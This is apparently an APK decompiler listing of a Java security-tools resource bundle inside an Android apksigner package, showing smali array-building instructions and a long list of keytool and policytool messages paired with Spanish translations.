                                                                              3053aput-object v2, v0, v1
                                                                              3054sput-object v0, Lcom/android/leech/patch/apksigner/sun/security/util/Resources_zh_CN;->contents:[[Ljava/lang/Object;
                                                                              3055return-void
                                                                              APIs
                                                                              Strings
                                                                              • ,
                                                                              • \n
                                                                              • *******************************************
                                                                              • *******************************************\n\n
                                                                              • keytool error:
                                                                              • error de keytool:
                                                                              • Illegal option:
                                                                              • Opci\u00f3n no permitida:
                                                                              • Try keytool -help
                                                                              • Probar keytool -help
                                                                              • Command option <flag> needs an argument.
                                                                              • La opci\u00f3n de comando {0} necesita un argumento.
                                                                              • Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value.
                                                                              • Advertencia: Los archivos de almac\u00e9n de claves en formato PKCS12 no admiten contrase\u00f1as de clave y almacenamiento distintas. Se omite el valor especificado por el usuario {0}.
                                                                              • -keystore must be NONE if -storetype is {0}
                                                                              • -keystore debe ser NONE si -storetype es {0}
                                                                              • Too may retries, program terminated
                                                                              • Ha habido demasiados intentos, se ha cerrado el programa
                                                                              • -storepasswd and -keypasswd commands not supported if -storetype is {0}
                                                                              • los comandos -storepasswd y -keypasswd no se admiten si -storetype es {0}
                                                                              • -keypasswd commands not supported if -storetype is PKCS12
                                                                              • los comandos -keypasswd no se admiten si -storetype es PKCS12
                                                                              • -keypass and -new can not be specified if -storetype is {0}
                                                                              • -keypass y -new no se pueden especificar si -storetype es {0}
                                                                              • if -protected is specified, then -storepass, -keypass, and -new must not be specified
                                                                              • si se especifica -protected, no deben especificarse -storepass, -keypass ni -new
                                                                              • if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified
                                                                              • si se especifica -srcprotected, no se puede especificar -srcstorepass ni -srckeypass
                                                                              • if keystore is not password protected, then -storepass, -keypass, and -new must not be specified
                                                                              • Si keystore no est\u00e1 protegido por contrase\u00f1a, no se deben especificar -storepass, -keypass ni -new
                                                                              • if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified
                                                                              • Si keystore de origen no est\u00e1 protegido por contrase\u00f1a, no se deben especificar -srcstorepass ni -srckeypass
                                                                              • Validity must be greater than zero
                                                                              • La validez debe ser mayor que cero
                                                                              • provName not a provider
                                                                              • {0} no es un proveedor
                                                                              • Usage error: no command provided
                                                                              • Error de uso: no se ha proporcionado ning\u00fan comando
                                                                              • Usage error, <arg> is not a legal command
                                                                              • Error de uso, {0} no es un comando legal
                                                                              • Source keystore file exists, but is empty:
                                                                              • El archivo de almac\u00e9n de claves de origen existe, pero est\u00e1 vac\u00edo:
                                                                              • Please specify -srckeystore
                                                                              • Especifique -srckeystore
                                                                              • Must not specify both -v and -rfc with \'list\' command
                                                                              • No se deben especificar -v y -rfc simult\u00e1neamente con el comando \'list\'
                                                                              • Key password must be at least 6 characters
                                                                              • La contrase\u00f1a clave debe tener al menos 6 caracteres
                                                                              • New password must be at least 6 characters
                                                                              • La nueva contrase\u00f1a debe tener al menos 6 caracteres
                                                                              • Keystore file exists, but is empty:
                                                                              • El archivo de almac\u00e9n de claves existe, pero est\u00e1 vac\u00edo
                                                                              • Keystore file does not exist:
                                                                              • El archivo de almac\u00e9n de claves no existe:
                                                                              • Must specify destination alias
                                                                              • Se debe especificar alias de destino
                                                                              • Must specify alias
                                                                              • Se debe especificar alias
                                                                              • Keystore password must be at least 6 characters
                                                                              • La contrase\u00f1a del almac\u00e9n de claves debe tener al menos 6 caracteres
                                                                              • Enter keystore password:
                                                                              • Escriba la contrase\u00f1a del almac\u00e9n de claves:
                                                                              • Enter source keystore password:
                                                                              • Escribir contrase\u00f1a de almac\u00e9n de claves de origen:
                                                                              • Enter destination keystore password:
                                                                              • Escribir contrase\u00f1a de almac\u00e9n de claves de destino:
                                                                              • Keystore password is too short - must be at least 6 characters
                                                                              • La contrase\u00f1a del almac\u00e9n de claves es demasiado corta, debe tener al menos 6 caracteres
                                                                              • Unknown Entry Type
                                                                              • Tipo de entrada desconocido
                                                                              • Too many failures. Alias not changed
                                                                              • Demasiados errores. No se ha cambiado el alias
                                                                              • Entry for alias <alias> successfully imported.
                                                                              • Las entradas del alias {0} se han importado correctamente.
                                                                              • Entry for alias <alias> not imported.
                                                                              • La entrada del alias {0} no se ha importado.
                                                                              • Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported.
                                                                              • Problema al importar la entrada del alias {0}: {1}.\nNo se ha importado la entrada del alias {0}.
                                                                              • Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled
                                                                              • Comando de importaci\u00f3n completado: {0} entradas importadas correctamente, {1} entradas incorrectas o canceladas
                                                                              • Warning: Overwriting existing alias <alias> in destination keystore
                                                                              • Advertencia: Sobrescribiendo el alias {0} en el almac\u00e9n de claves de destino
                                                                              • Existing entry alias <alias> exists, overwrite? [no]:
                                                                              • El alias de entrada {0} ya existe, \u00bfdesea sobrescribirlo? [no]:
                                                                              • Too many failures - try later
                                                                              • Demasiados fallos; int\u00e9ntelo m\u00e1s adelante
                                                                              • Certification request stored in file <filename>
                                                                              • Solicitud de certificaci\u00f3n almacenada en el archivo <{0}>
                                                                              • Submit this to your CA
                                                                              • Enviar a la CA
                                                                              • if alias not specified, destalias, srckeypass, and destkeypass must not be specified
                                                                              • si no se especifica el alias, no se puede especificar destalias, srckeypass ni destkeypass
                                                                              • Certificate stored in file <filename>
                                                                              • Certificado almacenado en el archivo <{0}>
                                                                              • Certificate reply was installed in keystore
                                                                              • Se ha instalado la respuesta del certificado en el almac\u00e9n de claves
                                                                              • Certificate reply was not installed in keystore
                                                                              • No se ha instalado la respuesta del certificado en el almac\u00e9n de claves
                                                                              • Certificate was added to keystore
                                                                              • Se ha a\u00f1adido el certificado al almac\u00e9n de claves
                                                                              • Certificate was not added to keystore
                                                                              • No se ha a\u00f1adido el certificado al almac\u00e9n de claves
                                                                              • [Storing ksfname]
                                                                              • [Almacenando {0}]
                                                                              • alias has no public key (certificate)
                                                                              • {0} no tiene clave p\u00fablica (certificado)
                                                                              • Cannot derive signature algorithm
                                                                              • No se puede derivar el algoritmo de firma
                                                                              • Alias <alias> does not exist
                                                                              • El alias <{0}> no existe
                                                                              • Alias <alias> has no certificate
                                                                              • El alias <{0}> no tiene certificado
                                                                              • Key pair not generated, alias <alias> already exists
                                                                              • No se ha generado el par de claves, el alias <{0}> ya existe
                                                                              • Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name
                                                                              • Generando par de claves {1} de {0} bits para certificado autofirmado ({2}) con una validez de {3} d\u00edas\n\tpara: {4}
                                                                              • Enter key password for <alias>
                                                                              • Escriba la contrase\u00f1a clave para <{0}>
                                                                              • \t(RETURN if same as keystore password):
                                                                              • \t(INTRO si es la misma contrase\u00f1a que la del almac\u00e9n de claves):
                                                                              • Key password is too short - must be at least 6 characters
                                                                              • La contrase\u00f1a clave es demasiado corta; debe tener al menos 6 caracteres
                                                                              • Too many failures - key not added to keystore
                                                                              • Demasiados fallos; no se ha agregado la clave al almac\u00e9n de claves
                                                                              • Destination alias <dest> already exists
                                                                              • El alias de destino <{0}> ya existe
                                                                              • Password is too short - must be at least 6 characters
                                                                              • La contrase\u00f1a es demasiado corta; debe tener al menos 6 caracteres
                                                                              • Too many failures. Key entry not cloned
                                                                              • Demasiados errores. No se ha copiado la entrada de clave
                                                                              • key password for <alias>
                                                                              • contrase\u00f1a clave para <{0}>
                                                                              • Keystore entry for <id.getName()> already exists
                                                                              • La entrada de almac\u00e9n de claves para <{0}> ya existe
                                                                              • Creating keystore entry for <id.getName()> ...
                                                                              • Creando entrada de almac\u00e9n de claves para <{0}> ...
                                                                              • No entries from identity database added
                                                                              • No se han agregado entradas de la base de datos de identidades
                                                                              • Alias name: alias
                                                                              • Nombre de alias: {0}
                                                                              • Creation date: keyStore.getCreationDate(alias)
                                                                              • Fecha de creaci\u00f3n: {0,date}
                                                                              • alias, keyStore.getCreationDate(alias),
                                                                              • {0}, {1,date},
                                                                              • alias,
                                                                              • {0},
                                                                              • Entry type: <type>
                                                                              • Tipo de entrada: {0}
                                                                              • Certificate chain length:
                                                                              • Longitud de la cadena de certificado:
                                                                              • Certificate[(i + 1)]:
                                                                              • Certificado[{0,number,integer}]:
                                                                              • Certificate fingerprint (MD5):
                                                                              • Huella digital de certificado (MD5):
                                                                              • Entry type: trustedCertEntry\n
                                                                              • Tipo de entrada: trustedCertEntry\n
                                                                              • trustedCertEntry,
                                                                              • Keystore type:
                                                                              • Tipo de almac\u00e9n de claves:
                                                                              • Keystore provider:
                                                                              • Proveedor de almac\u00e9n de claves:
                                                                              • Your keystore contains keyStore.size() entry
                                                                              • Su almac\u00e9n de claves contiene entrada {0,number,integer}
                                                                              • Your keystore contains keyStore.size() entries
                                                                              • Su almac\u00e9n de claves contiene {0,number,integer} entradas
                                                                              • Failed to parse input
                                                                              • Error al analizar la entrada
                                                                              • Empty input
                                                                              • Entrada vac\u00eda
                                                                              • Not X.509 certificate
                                                                              • No es un certificado X.509
                                                                              • alias has no public key
                                                                              • {0} no tiene clave p\u00fablica
                                                                              • alias has no X.509 certificate
                                                                              • {0} no tiene certificado X.509
                                                                              • New certificate (self-signed):
                                                                              • Nuevo certificado (autofirmado):
                                                                              • Reply has no certificates
                                                                              • La respuesta no tiene certificados
                                                                              • Certificate not imported, alias <alias> already exists
                                                                              • Certificado no importado, el alias <{0}> ya existe
                                                                              • Input not an X.509 certificate
                                                                              • La entrada no es un certificado X.509
                                                                              • Certificate already exists in keystore under alias <trustalias>
                                                                              • El certificado ya existe en el almac\u00e9n de claves con el alias <{0}>
                                                                              • Do you still want to add it? [no]:
                                                                              • \u00bfA\u00fan desea agregarlo? [no]:
                                                                              • Certificate already exists in system-wide CA keystore under alias <trustalias>
                                                                              • El certificado ya existe en el almac\u00e9n de claves de la CA del sistema, con el alias <{0}>
                                                                              • Do you still want to add it to your own keystore? [no]:
                                                                              • \u00bfA\u00fan desea agregarlo a su propio almac\u00e9n de claves? [no]:
                                                                              • Trust this certificate? [no]:
                                                                              • \u00bfConfiar en este certificado? [no]:
                                                                              • YES
                                                                              • S\u00cd
                                                                              • New prompt:
                                                                              • Nuevo {0}:
                                                                              • Passwords must differ
                                                                              • Las contrase\u00f1as deben ser distintas
                                                                              • Re-enter new prompt:
                                                                              • Vuelva a escribir el nuevo {0}:
                                                                              • Re-enter new password:
                                                                              • Volver a escribir la contrase\u00f1a nueva:
                                                                              • They don\'t match. Try again
                                                                              • No coinciden. Int\u00e9ntelo de nuevo
                                                                              • Enter prompt alias name:
                                                                              • Escriba el nombre de alias de {0}:
                                                                              • Enter new alias name\t(RETURN to cancel import for this entry):
                                                                              • Indique el nuevo nombre de alias\t(INTRO para cancelar la importaci\u00f3n de esta entrada):
                                                                              • Enter alias name:
                                                                              • Escriba el nombre de alias:
                                                                              • \t(RETURN if same as for <otherAlias>)
                                                                              • \t(INTRO si es el mismo que para <{0}>)
                                                                              • *PATTERN* printX509Cert
                                                                              • Propietario: {0}\nEmisor: {1}\nN\u00famero de serie: {2}\nV\u00e1lido desde: {3} hasta: {4}\nHuellas digitales del certificado:\n\t MD5: {5}\n\t SHA1: {6}\n\t Nombre del algoritmo de firma: {7}\n\t Versi\u00f3n: {8}
                                                                              • What is your first and last name?
                                                                              • \u00bfCu\u00e1les son su nombre y su apellido?
                                                                              • What is the name of your organizational unit?
                                                                              • \u00bfCu\u00e1l es el nombre de su unidad de organizaci\u00f3n?
                                                                              • What is the name of your organization?
                                                                              • \u00bfCu\u00e1l es el nombre de su organizaci\u00f3n?
                                                                              • What is the name of your City or Locality?
                                                                              • \u00bfCu\u00e1l es el nombre de su ciudad o localidad?
                                                                              • What is the name of your State or Province?
                                                                              • \u00bfCu\u00e1l es el nombre de su estado o provincia?
                                                                              • What is the two-letter country code for this unit?
                                                                              • \u00bfCu\u00e1l es el c\u00f3digo de pa\u00eds de dos letras de la unidad?
                                                                              • Is <name> correct?
                                                                              • \u00bfEs correcto {0}?
                                                                              • no
                                                                              • yes
                                                                              • s\u00ed
                                                                              • y
                                                                              • [defaultValue]:
                                                                              • [{0}]:
                                                                              • Alias <alias> has no key
                                                                              • El alias <{0}> no tiene clave
                                                                              • Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries
                                                                              • El alias <{0}> hace referencia a un tipo de entrada que no es una clave privada. El comando -keyclone s\u00f3lo permite la clonaci\u00f3n de entradas de claves privadas
                                                                              • ***************** WARNING WARNING WARNING *****************
                                                                              • ***************** ADVERTENCIA ADVERTENCIA ADVERTENCIA *****************
                                                                              • * The integrity of the information stored in your keystore *
                                                                              • * La integridad de la informaci\u00f3n almacenada en su almac\u00e9n de claves *
                                                                              • * The integrity of the information stored in the srckeystore*
                                                                              • * La totalidad de la informaci\u00f3n almacenada en srckeystore*
                                                                              • * has NOT been verified! In order to verify its integrity, *
                                                                              • * NO se ha comprobado. Para comprobar dicha integridad, *
                                                                              • * you must provide your keystore password. *
                                                                              • deber\u00e1 proporcionar su contrase\u00f1a de almac\u00e9n de claves. *
                                                                              • * you must provide the srckeystore password. *
                                                                              • * se debe indicar la contrase\u00f1a de srckeystore. *
                                                                              • Certificate reply does not contain public key for <alias>
                                                                              • La respuesta de certificado no contiene una clave p\u00fablica para <{0}>
                                                                              • Incomplete certificate chain in reply
                                                                              • Cadena de certificado incompleta en la respuesta
                                                                              • Certificate chain in reply does not verify:
                                                                              • La cadena de certificado de la respuesta no verifica:
                                                                              • Top-level certificate in reply:\n
                                                                              • Certificado de nivel superior en la respuesta:\n
                                                                              • ... is not trusted.
                                                                              • ... no es de confianza.
                                                                              • Install reply anyway? [no]:
                                                                              • \u00bfinstalar respuesta de todos modos? [no]:
                                                                              • NO
                                                                              • Public keys in reply and keystore don\'t match
                                                                              • Las claves p\u00fablicas en la respuesta y en el almac\u00e9n de claves no coinciden
                                                                              • Certificate reply and certificate in keystore are identical
                                                                              • La respuesta del certificado y el certificado en el almac\u00e9n de claves son id\u00e9nticos
                                                                              • Failed to establish chain from reply
                                                                              • No se ha podido establecer una cadena a partir de la respuesta
                                                                              • n
                                                                              • Wrong answer, try again
                                                                              • Respuesta incorrecta, vuelva a intentarlo
                                                                              • Secret key not generated, alias <alias> already exists
                                                                              • No se ha generado la clave secreta, el alias <{0}> ya existe
                                                                              • Please provide -keysize for secret key generation
                                                                              • Proporcione el valor de -keysize para la generaci\u00f3n de claves secretas
                                                                              • keytool usage:\n
                                                                              • sintaxis de keytool:\n
                                                                              • Extensions:
                                                                              • Extensiones:
                                                                              • -certreq [-v] [-protected]
                                                                              • \t [-alias <alias>] [-sigalg <sigalg>]
                                                                              • \t [-alias <alias>] [-sigalg <algoritmo_firma>]
                                                                              • \t [-file <csr_file>] [-keypass <keypass>]
                                                                              • \t [-file <archivo_csr>] [-keypass <contrase\u00f1a_clave>]
                                                                              • \t [-keystore <keystore>] [-storepass <storepass>]
                                                                              • \t [-keystore <almac\u00e9n_claves>] [-storepass <contrase\u00f1a_almac\u00e9n>]
                                                                              • \t [-storetype <storetype>] [-providername <name>]
                                                                              • \t [-providerclass <provider_class_name> [-providerarg <arg>]] ...
                                                                              • \t [-providerpath <pathlist>]
                                                                              • -delete [-v] [-protected] -alias <alias>
                                                                              • -exportcert [-v] [-rfc] [-protected]
                                                                              • \t [-alias <alias>] [-file <cert_file>]
                                                                              • \t [-alias <alias>] [-file <archivo_cert>]
                                                                              • -genkeypair [-v] [-protected]
                                                                              • \t [-alias <alias>]
                                                                              • \t [-keyalg <keyalg>] [-keysize <keysize>]
                                                                              • \t [-keyalg <algoritmo_clave>] [-keysize <tama\u00f1o_clave>]
                                                                              • \t [-sigalg <sigalg>] [-dname <dname>]
                                                                              • \t [-sigalg <algoritmo_firma>] [-dname <nombre_d>]
                                                                              • \t [-validity <valDays>] [-keypass <keypass>]
                                                                              • \t [-validity <d\u00edas_validez>] [-keypass <contrase\u00f1a_clave>]
                                                                              • -genseckey [-v] [-protected]
                                                                              • -help
                                                                              • -importcert [-v] [-noprompt] [-trustcacerts] [-protected]
                                                                              • \t [-alias <alias>] [-keypass <keypass>]
                                                                              • \t [-file <cert_file>] [-keypass <keypass>]
                                                                              • \t [-file <archivo_cert>] [-keypass <contrase\u00f1a_clave>]
                                                                              • -importkeystore [-v]
                                                                              • \t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]
                                                                              • \t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]
                                                                              • \t [-srcprotected] [-destprotected]
                                                                              • \t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]
                                                                              • \t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]
                                                                              • \t [-srcalias <srcalias> [-destalias <destalias>]
                                                                              • \t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]
                                                                              • \t [-noprompt]
                                                                              • -changealias [-v] [-protected] -alias <alias> -destalias <destalias>
                                                                              • \t [-keypass <keypass>]
                                                                              • \t [-keypass <contrase\u00f1a_claves>]
                                                                              • -keypasswd [-v] [-alias <alias>]
                                                                              • \t [-keypass <old_keypass>] [-new <new_keypass>]
                                                                              • \t [-keypass <contrase\u00f1a_clave_antigua>] [-new <nueva_contrase\u00f1a_clave>]
                                                                              • -list [-v | -rfc] [-protected]
                                                                              • -printcert [-v] [-file <cert_file>]
                                                                              • -printcert [-v] [-file <archivo_certif>]
                                                                              • -storepasswd [-v] [-new <new_storepass>]
                                                                              • -storepasswd [-v] [-new <nueva_contrase\u00f1a_almac\u00e9n>]
                                                                              • Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured.
                                                                              • Advertencia: No hay clave p\u00fablica para el alias {0}. Compruebe que se haya configurado correctamente un almac\u00e9n de claves.
                                                                              • Warning: Class not found: class
                                                                              • Advertencia: No se ha encontrado la clase: {0}
                                                                              • Warning: Invalid argument(s) for constructor: arg
                                                                              • Advertencia: Argumento(s) no v\u00e1lido(s) para el constructor: {0}
                                                                              • Illegal Principal Type: type
                                                                              • Tipo de principal no permitido: {0}
                                                                              • Illegal option: option
                                                                              • Opci\u00f3n no permitida: {0}
                                                                              • Usage: policytool [options]
                                                                              • Sintaxis: policytool [opciones]
                                                                              • [-file <file>] policy file location
                                                                              • [-file <archivo>] ubicaci\u00f3n del archivo de normas
                                                                              • New
                                                                              • Nuevo
                                                                              • Open
                                                                              • Abrir
                                                                              • Save
                                                                              • Guardar
                                                                              • Save As
                                                                              • Guardar como
                                                                              • View Warning Log
                                                                              • Ver registro de advertencias
                                                                              • Exit
                                                                              • Salir
                                                                              • Add Policy Entry
                                                                              • Agregar entrada de norma
                                                                              • Edit Policy Entry
                                                                              • Editar entrada de norma
                                                                              • Remove Policy Entry
                                                                              • Eliminar entrada de norma
                                                                              • Edit
                                                                              • Editar
                                                                              • Retain
                                                                              • Mantener
                                                                              • Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name.
                                                                              • Add Public Key Alias
                                                                              • Agregar alias de clave p\u00fablico
                                                                              • Remove Public Key Alias
                                                                              • Eliminar alias de clave p\u00fablico
                                                                              • File
                                                                              • Archivo
                                                                              • KeyStore
                                                                              • Almac\u00e9n de claves
                                                                              • Policy File:
                                                                              • Archivo de normas:
                                                                              • Could not open policy file: policyFile: e.toString()
                                                                              • No se ha podido abrir el archivo java.policy: {0}: {1}
                                                                              • Policy Tool
                                                                              • Herramienta de normas
                                                                              • Errors have occurred while opening the policy configuration. View the Warning Log for more information.
                                                                              • Ha habido errores al abrir la configuraci\u00f3n de normas. V\u00e9ase el registro de advertencias para obtener m\u00e1s informaci\u00f3n.
                                                                              • Error
                                                                              • OK
                                                                              • Aceptar
                                                                              • Status
                                                                              • Estado
                                                                              • Warning
                                                                              • Advertencia
                                                                              • Permission:
                                                                              • Permiso:
                                                                              • Principal Type:
                                                                              • Tipo de principal:
                                                                              • Principal Name:
                                                                              • Nombre de principal:
                                                                              • Target Name:
                                                                              • Nombre de destino:
                                                                              • Actions:
                                                                              • Acciones:
                                                                              • OK to overwrite existing file filename?
                                                                              • \u00bfSobrescribir el archivo existente {0}?
                                                                              • Cancel
                                                                              • Cancelar
                                                                              • CodeBase:
                                                                              • Base de c\u00f3digos:
                                                                              • SignedBy:
                                                                              • Firmado por:
                                                                              • Add Principal
                                                                              • Agregar principal
                                                                              • Edit Principal
                                                                              • Editar principal
                                                                              • Remove Principal
                                                                              • Eliminar principal
                                                                              • Principals:
                                                                              • Principales:
                                                                              • Add Permission
                                                                              • Agregar permiso
                                                                              • Edit Permission
                                                                              • Editar permiso
                                                                              • Remove Permission
                                                                              • Eliminar permiso
                                                                              • Done
                                                                              • Terminar
                                                                              • KeyStore URL:
                                                                              • URL de almac\u00e9n de claves:
                                                                              • KeyStore Type:
                                                                              • Tipo de almac\u00e9n de claves:
                                                                              • KeyStore Provider:
                                                                              • Proveedor de almac\u00e9n de claves:
                                                                              • KeyStore Password URL:
                                                                              • URL de contrase\u00f1a de almac\u00e9n de claves:
                                                                              • Principals
                                                                              • Principales
                                                                              • Edit Principal:
                                                                              • Editar principal:
                                                                              • Add New Principal:
                                                                              • Agregar nuevo principal:
                                                                              • Permissions
                                                                              • Permisos
                                                                              • Edit Permission:
                                                                              • Editar permiso:
                                                                              • Add New Permission:
                                                                              • Agregar permiso nuevo:
                                                                              • Signed By:
                                                                              • Cannot Specify Principal with a Wildcard Class without a Wildcard Name
                                                                              • No se puede especificar principal con una clase de comod\u00edn sin un nombre de comod\u00edn
                                                                              • Cannot Specify Principal without a Name
                                                                              • No se puede especificar principal sin un nombre
                                                                              • Permission and Target Name must have a value
                                                                              • Permiso y Nombre de destino deben tener un valor
                                                                              • Remove this Policy Entry?
                                                                              • \u00bfEliminar esta entrada de norma?
                                                                              • Overwrite File
                                                                              • Sobrescribir archivo
                                                                              • Policy successfully written to filename
                                                                              • Norma escrita satisfactoriamente en {0}
                                                                              • null filename
                                                                              • nombre de archivo nulo
                                                                              • Save changes?
                                                                              • \u00bfGuardar los cambios?
                                                                              • Yes
                                                                              • S\u00ed
                                                                              • No
                                                                              • Policy Entry
                                                                              • Entrada de norma
                                                                              • Save Changes
                                                                              • Guardar cambios
                                                                              • No Policy Entry selected
                                                                              • No se ha seleccionado entrada de norma
                                                                              • Unable to open KeyStore: ex.toString()
                                                                              • No se puede abrir el almac\u00e9n de claves: {0}
                                                                              • No principal selected
                                                                              • No se ha seleccionado principal
                                                                              • No permission selected
                                                                              • No se ha seleccionado un permiso
                                                                              • name
                                                                              • nombre
                                                                              • configuration type
                                                                              • tipo de configuraci\u00f3n
                                                                              • environment variable name
                                                                              • nombre de variable de entorno
                                                                              • library name
                                                                              • nombre de la biblioteca
                                                                              • package name
                                                                              • nombre del paquete
                                                                              • policy type
                                                                              • tipo de directiva
                                                                              • property name
                                                                              • nombre de la propiedad
                                                                              • provider name
                                                                              • nombre del proveedor
                                                                              • Principal List
                                                                              • Lista de principales
                                                                              • Permission List
                                                                              • Lista de permisos
                                                                              • Code Base
                                                                              • Base de c\u00f3digo
                                                                              • KeyStore U R L:
                                                                              • KeyStore Password U R L:
                                                                              • invalid null input(s)
                                                                              • entradas nulas no v\u00e1lidas
                                                                              • actions can only be \'read\'
                                                                              • las acciones s\u00f3lo pueden \'leerse\'
                                                                              • permission name [name] syntax invalid:
                                                                              • sintaxis de nombre de permiso [{0}] no v\u00e1lida:
                                                                              • Credential Class not followed by a Principal Class and Name
                                                                              • Clase de credencial no va seguida de una clase y nombre de principal
                                                                              • Principal Class not followed by a Principal Name
                                                                              • La clase de principal no va seguida de un nombre de principal
                                                                              • Principal Name must be surrounded by quotes
                                                                              • El nombre de principal debe ir entre comillas
                                                                              • Principal Name missing end quote
                                                                              • Faltan las comillas finales en el nombre de principal
                                                                              • PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value
                                                                              • La clase de principal PrivateCredentialPermission no puede ser un valor comod\u00edn (*) si el nombre de principal no lo es tambi\u00e9n
                                                                              • CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name
                                                                              • CredOwner:\n\tClase de principal = {0}\n\tNombre de principal = {1}
                                                                              • provided null name
                                                                              • se ha proporcionado un nombre nulo
                                                                              • provided null keyword map
                                                                              • mapa de palabras proporcionado nulo
                                                                              • provided null OID map
                                                                              • mapa de OID proporcionado nulo
                                                                              • invalid null AccessControlContext provided
                                                                              • se ha proporcionado un AccessControlContext nulo no v\u00e1lido
                                                                              • invalid null action provided
                                                                              • se ha proporcionado una acci\u00f3n nula no v\u00e1lida
                                                                              • invalid null Class provided
                                                                              • se ha proporcionado una clase nula no v\u00e1lida
                                                                              • Subject:\n
                                                                              • Asunto:\n
                                                                              • \tPrincipal:
                                                                              • \tPublic Credential:
                                                                              • \tCredencial p\u00fablica:
                                                                              • \tPrivate Credentials inaccessible\n
                                                                              • \tCredenciales privadas inaccesibles\n
                                                                              • \tPrivate Credential:
                                                                              • \tCredencial privada:
                                                                              • \tPrivate Credential inaccessible\n
                                                                              • \tCredencial privada inaccesible\n
                                                                              • Subject is read-only
                                                                              • El asunto es de s\u00f3lo lectura
                                                                              • attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set
                                                                              • intentando agregar un objeto que no es un ejemplar de java.security.Principal al conjunto principal de un asunto
                                                                              • attempting to add an object which is not an instance of class
                                                                              • intentando agregar un objeto que no es un ejemplar de {0}
                                                                              • LoginModuleControlFlag:
                                                                              • Invalid null input: name
                                                                              • Entrada nula no v\u00e1lida: nombre
                                                                              • No LoginModules configured for name
                                                                              • No se han configurado LoginModules para {0}
                                                                              • invalid null Subject provided
                                                                              • se ha proporcionado un asunto nulo no v\u00e1lido
                                                                              • invalid null CallbackHandler provided
                                                                              • se ha proporcionado CallbackHandler nulo no v\u00e1lido
                                                                              • null subject - logout called before login
                                                                              • asunto nulo - se ha llamado a fin de sesi\u00f3n antes del inicio de sesi\u00f3n
                                                                              • unable to instantiate LoginModule, module, because it does not provide a no-argument constructor
                                                                              • no se puede lanzar un ejemplar de LoginModule, {0}, porque no incluye un constructor no-argumento
                                                                              • unable to instantiate LoginModule
                                                                              • no se puede lanzar un ejemplar de LoginModule
                                                                              • unable to instantiate LoginModule:
                                                                              • no se puede instanciar LoginModule:
                                                                              • unable to find LoginModule class:
                                                                              • no se puede encontrar la clase LoginModule:
                                                                              • unable to access LoginModule:
                                                                              • no se puede acceder a LoginModule:
                                                                              • Login Failure: all modules ignored
                                                                              • Fallo en inicio de sesi\u00f3n: se ha hecho caso omiso de todos los m\u00f3dulos
                                                                              • java.security.policy: error parsing policy:\n\tmessage
                                                                              • java.security.policy: error de an\u00e1lisis de {0}:\n\t{1}
                                                                              • java.security.policy: error adding Permission, perm:\n\tmessage
                                                                              • java.security.policy: error al agregar Permiso, {0}:\n\t{1}
                                                                              • java.security.policy: error adding Entry:\n\tmessage
                                                                              • java.security.policy: error al agregar Entrada:\n\t{0}
                                                                              • alias name not provided (pe.name)
                                                                              • no se ha proporcionado nombre de alias ({0})
                                                                              • unable to perform substitution on alias, suffix
                                                                              • no se puede realizar la sustituci\u00f3n en el alias, {0}
                                                                              • substitution value, prefix, unsupported
                                                                              • valor de sustituci\u00f3n, {0}, no soportado
                                                                              • (
                                                                              • )
                                                                              • type can\'t be null
                                                                              • el tipo no puede ser nulo
                                                                              • keystorePasswordURL can not be specified without also specifying keystore
                                                                              • keystorePasswordURL no puede especificarse sin especificar tambi\u00e9n el almac\u00e9n de claves
                                                                              • expected keystore type
                                                                              • se esperaba un tipo de almac\u00e9n de claves
                                                                              • expected keystore provider
                                                                              • se esperaba un proveedor de almac\u00e9n de claves
                                                                              • multiple Codebase expressions
                                                                              • expresiones m\u00faltiples de base de c\u00f3digos
                                                                              • multiple SignedBy expressions
                                                                              • expresiones m\u00faltiples de SignedBy
                                                                              • SignedBy has empty alias
                                                                              • SignedBy tiene un alias vac\u00edo
                                                                              • can not specify Principal with a wildcard class without a wildcard name
                                                                              • no se puede especificar Principal con una clase de comod\u00edn sin un nombre de comod\u00edn
                                                                              • expected codeBase or SignedBy or Principal
                                                                              • se esperaba base de c\u00f3digos o SignedBy o Principal
                                                                              • expected permission entry
                                                                              • se esperaba un permiso de entrada
                                                                              • number
                                                                              • n\u00famero
                                                                              • expected [expect], read [end of file]
                                                                              • se esperaba [{0}], se ha le\u00eddo [end of file]
                                                                              • expected [;], read [end of file]
                                                                              • se esperaba [;], se ha le\u00eddo [end of file]
                                                                              • line number: msg
                                                                              • l\u00ednea {0}: {1}
                                                                              • line number: expected [expect], found [actual]
                                                                              • l\u00ednea {0}: se esperaba [{1}], se ha encontrado [{2}]
                                                                              • null principalClass or principalName
                                                                              • principalClass o principalName nulos
                                                                              • PKCS11 Token [providerName] Password:
                                                                              • Contrase\u00f1a de la tarjeta de claves PKCS11 [{0}]:
                                                                              • unable to instantiate Subject-based policy
                                                                              • no se puede instanciar una directiva basada en Subject
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v6, 0x2
                                                                              2const/4 v5, 0x1
                                                                              3const/4 v4, 0x0
                                                                              4const/16 v0, 0x153
                                                                              5new-array v0, v0, [[Ljava/lang/Object;
                                                                              6new-array v1, v6, [Ljava/lang/Object;
                                                                              8const-string v2, " "
                                                                              9aput-object v2, v1, v4
                                                                              11const-string v2, " "
                                                                              12aput-object v2, v1, v5
                                                                              13aput-object v1, v0, v4
                                                                              14new-array v1, v6, [Ljava/lang/Object;
                                                                              16const-string v2, " "
                                                                              17aput-object v2, v1, v4
                                                                              19const-string v2, " "
                                                                              20aput-object v2, v1, v5
                                                                              21aput-object v1, v0, v5
